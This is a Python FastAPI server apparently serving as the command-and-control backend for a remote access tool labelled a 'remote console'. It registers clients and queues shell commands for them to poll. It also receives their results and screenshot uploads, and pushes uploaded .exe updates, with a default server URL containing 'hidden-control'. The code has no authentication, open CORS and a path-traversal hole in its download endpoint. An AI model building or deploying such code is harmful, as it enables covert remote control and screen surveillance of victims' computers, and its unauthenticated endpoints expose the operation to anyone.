#!/usr/bin/env python3
import os
import sqlite3
import uuid
import json
import glob
from datetime import datetime
from fastapi import FastAPI, Request, UploadFile, File, Form, HTTPException
from fastapi.responses import HTMLResponse, FileResponse
from fastapi.middleware.cors import CORSMiddleware
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates
from typing import Optional
import aiofiles
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
DB_PATH = os.environ.get('DB_PATH', '/tmp/data.db')
UPLOAD_DIR = os.environ.get('UPLOAD_DIR', '/tmp/uploads')
os.makedirs(f'{UPLOAD_DIR}/screenshots', exist_ok=True)
os.makedirs(f'{UPLOAD_DIR}/files', exist_ok=True)
def init_db():
conn = sqlite3.connect(DB_PATH)
c = conn.cursor()
c.execute('''
CREATE TABLE IF NOT EXISTS clients (
id TEXT PRIMARY KEY,
name TEXT,
status TEXT DEFAULT 'offline',
last_seen TEXT,
version TEXT,
os TEXT,
ip TEXT
)
''')
c.execute('''
CREATE TABLE IF NOT EXISTS commands (
id TEXT PRIMARY KEY,
client_id TEXT,
type TEXT,
payload TEXT,
status TEXT DEFAULT 'pending',
result TEXT,
created_at TEXT,
FOREIGN KEY(client_id) REFERENCES clients(id)
)
''')
c.execute('''
CREATE TABLE IF NOT EXISTS files (
id TEXT PRIMARY KEY,
client_id TEXT,
filename TEXT,
size INTEGER,
uploaded_at TEXT,
FOREIGN KEY(client_id) REFERENCES clients(id)
)
''')
c.execute('''
CREATE TABLE IF NOT EXISTS configs (
key TEXT PRIMARY KEY,
value TEXT,
updated_at TEXT
)
''')
conn.commit()
conn.close()
def get_db():
conn = sqlite3.connect(DB_PATH)
conn.row_factory = sqlite3.Row
return conn
init_db()
HTML_CONTENT = '''
远程控制台
'''
@app.get("/")
async def root():
return HTMLResponse(content=HTML_CONTENT)
@app.post("/api/client/register")
async def register_client(request: Request):
data = await request.json()
client_id = data.get('id') or str(uuid.uuid4())
name = data.get('name', 'Unknown')
version = data.get('version', '')
os_info = data.get('os', '')
conn = get_db()
conn.execute('''INSERT OR REPLACE INTO clients (id, name, status, last_seen, version, os, ip)
VALUES (?, ?, 'online', ?, ?, ?, ?)''',
(client_id, name, datetime.now().isoformat(), version, os_info, request.client.host))
conn.commit()
conn.close()
return {'id': client_id, 'name': name, 'status': 'online'}
@app.post("/api/client/heartbeat")
async def heartbeat(request: Request):
data = await request.json()
client_id = data.get('client_id')
conn = get_db()
conn.execute("UPDATE clients SET last_seen = ?, status = 'online' WHERE id = ?",
(datetime.now().isoformat(), client_id))
cmd = conn.execute('''SELECT id, client_id, type, payload, status FROM commands
WHERE client_id = ? AND status = 'pending' ORDER BY created_at ASC LIMIT 1''', (client_id,)).fetchone()
if cmd:
conn.execute("UPDATE commands SET status = 'processing' WHERE id = ?", (cmd['id'],))
conn.commit()
conn.close()
if cmd:
return {'commands': [dict(cmd)]}
return {'commands': []}
@app.post("/api/command")
async def send_command(request: Request):
data = await request.json()
cmd_id = str(uuid.uuid4())
client_id = data.get('client_id')
cmd_type = data.get('type', 'shell')
payload = data.get('payload', '')
conn = get_db()
conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at)
VALUES (?, ?, ?, ?, 'pending', ?)''',
(cmd_id, client_id, cmd_type, payload, datetime.now().isoformat()))
conn.commit()
conn.close()
return {'id': cmd_id, 'status': 'pending'}
@app.post("/api/command/result")
async def command_result(request: Request):
data = await request.json()
cmd_id = data.get('command_id')
result = data.get('result', '')
status = data.get('status', 'completed')
conn = get_db()
conn.execute("UPDATE commands SET result = ?, status = ? WHERE id = ?", (result, status, cmd_id))
conn.commit()
conn.close()
return {'status': 'ok'}
@app.post("/api/screenshot")
async def upload_screenshot(client_id: str = Form(...), screenshot: UploadFile = File(...)):
ext = os.path.splitext(screenshot.filename)[1] or '.jpg'
filename = f'{client_id}_{int(datetime.now().timestamp())}{ext}'
filepath = f'{UPLOAD_DIR}/screenshots/{filename}'
content = await screenshot.read()
async with aiofiles.open(filepath, 'wb') as f:
await f.write(content)
conn = get_db()
conn.execute("UPDATE clients SET last_seen = ? WHERE id = ?", (datetime.now().isoformat(), client_id))
conn.commit()
conn.close()
return {'url': f'/api/screenshots/{filename}'}
@app.get("/api/screenshots/{client_id}")
async def get_screenshot(client_id: str):
pattern = f'{UPLOAD_DIR}/screenshots/{client_id}_*'
files = sorted(glob.glob(pattern), key=os.path.getmtime, reverse=True)
if files:
return FileResponse(files[0], media_type='image/jpeg')
raise HTTPException(status_code=404, detail="No screenshot")
@app.get("/api/clients")
async def get_clients():
conn = get_db()
clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall()
conn.close()
return [dict(row) for row in clients]
@app.get("/api/commands")
async def get_commands(client_id: str = ""):
if not client_id:
return []
conn = get_db()
commands = conn.execute('SELECT * FROM commands WHERE client_id = ? ORDER BY created_at DESC LIMIT 10', (client_id,)).fetchall()
conn.close()
return [dict(row) for row in commands]
@app.get("/api/config")
async def get_config():
return {
'server_url': os.environ.get('SERVER_URL', 'https://profile114-hidden-control.hf.space'),
'poll_interval': 5,
'auto_update': True,
'latest_version': '1.0.0',
'download_url': ''
}
@app.post("/api/config/update")
async def update_config(request: Request):
data = await request.json()
conn = get_db()
if data.get('latest_version'):
conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
('latest_version', data['latest_version'], datetime.now().isoformat()))
if data.get('download_url'):
conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
('download_url', data['download_url'], datetime.now().isoformat()))
conn.commit()
conn.close()
return {'status': 'ok'}
# 自动更新相关API
UPDATE_DIR = os.path.join(UPLOAD_DIR, 'updates')
os.makedirs(UPDATE_DIR, exist_ok=True)
@app.get("/api/update")
async def get_update():
version_file = os.path.join(UPDATE_DIR, 'version.json')
if os.path.exists(version_file):
with open(version_file, 'r') as f:
return json.load(f)
return {'version': '1.0.0', 'filename': '', 'url': ''}
@app.post("/api/update/check")
async def check_update(request: Request):
data = await request.json()
current_version = data.get('version', '0.0.0')
version_file = os.path.join(UPDATE_DIR, 'version.json')
if os.path.exists(version_file):
with open(version_file, 'r') as f:
info = json.load(f)
latest_version = info.get('version', '0.0.0')
needs_update = latest_version > current_version
return {
'needs_update': needs_update,
'latest_version': latest_version,
'filename': info.get('filename', ''),
'url': f'/api/download/{info.get("filename", "")}'
}
return {'needs_update': False, 'latest_version': current_version}
@app.get("/api/download/")
async def download_update(filename: str):
filepath = os.path.join(UPDATE_DIR, filename)
if os.path.exists(filepath):
return FileResponse(filepath, filename=filename)
raise HTTPException(status_code=404, detail="File not found")
@app.post("/api/update/upload")
async def upload_update(version: str = Form(...), file: UploadFile = File(...)):
filename = f"client_{version}.exe"
filepath = os.path.join(UPDATE_DIR, filename)
content = await file.read()
async with aiofiles.open(filepath, 'wb') as f:
await f.write(content)
version_info = {'version': version, 'filename': filename}
version_file = os.path.join(UPDATE_DIR, 'version.json')
with open(version_file, 'w') as f:
json.dump(version_info, f)
return {'status': 'ok', 'version': version, 'filename': filename}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=7860)